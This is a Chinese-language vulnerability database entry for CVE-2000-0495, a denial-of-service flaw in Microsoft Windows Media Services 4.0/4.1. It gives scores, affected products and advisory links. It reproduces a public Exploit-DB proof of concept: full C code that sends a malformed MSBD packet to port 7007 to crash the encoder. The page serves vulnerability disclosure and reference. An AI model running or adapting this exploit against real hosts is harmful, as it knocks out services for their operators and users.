CVE-2000-0495
CVSS5.0
发布时间 :2000-05-30 00:00:00
修订时间 :2008-09-10 15:04:49
NMCOE    

[原文]Microsoft Windows Media Encoder allows remote attackers to cause a denial of service via a malformed request, aka the "Malformed Windows Media Encoder Request" vulnerability.


[CNNVD]Microsoft Media Service DoS漏洞(CNNVD-200005-106)

        Microsoft Windows Media Encoder存在漏洞。远程攻击者借助畸形请求导致拒绝服务,又称为"Malformed Windows Media Encoder Request"漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:windows_media_services:4.1Microsoft windows_media_services 4.1
cpe:/a:microsoft:windows_media_services:4.0Microsoft windows_media_services 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0495
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0495
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-106
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/4585.php
(VENDOR_ADVISORY)  XF  ms-malformed-media-dos
http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
(VENDOR_ADVISORY)  MS  MS00-038
http://www.securityfocus.com/bid/1282
(UNKNOWN)  BID  1282

- 漏洞信息

Microsoft Media Service DoS漏洞
中危 其他
2000-05-30 00:00:00 2005-10-12 00:00:00
本地  
        Microsoft Windows Media Encoder存在漏洞。远程攻击者借助畸形请求导致拒绝服务,又称为"Malformed Windows Media Encoder Request"漏洞。

- 公告与补丁

        For those who applied the original patch released on May 30, please apply this updated patch that fixes a regression:
        Microsoft Windows Media Services 4.0
        
        Microsoft Windows Media Services 4.1
        

- 漏洞信息 (19974)

Microsoft Windows Media Services 4.0/4.1 DoS Vulnerability (EDBID:19974)
windows local
2000-05-31 Verified
0 Kit Knox
N/A [点击下载]
source: http://www.securityfocus.com/bid/1282/info

Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.

If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.

/*
 *
 * Media Streaming Broadcast Distribution (MSBD)
 * Denial of Service Attack
 *
 * (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00
 *
 * Causes the Windows Media Encoder to crash with a "Runtime Error!"
 *
 * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
 *
 * Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
 *
 * Official Microsoft patch is available :
 *
 * http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
 *
 * Thanks to Microsoft and the WMT group for their prompt attention to this
 * matter.
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00
};

int sock;
 
int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }
  
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(7007);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
    return(-1);
  }
  write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
}

		

- 漏洞信息

1368
Microsoft Media Encoder Request Parsing Local DoS
Local Access Required Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-05-30 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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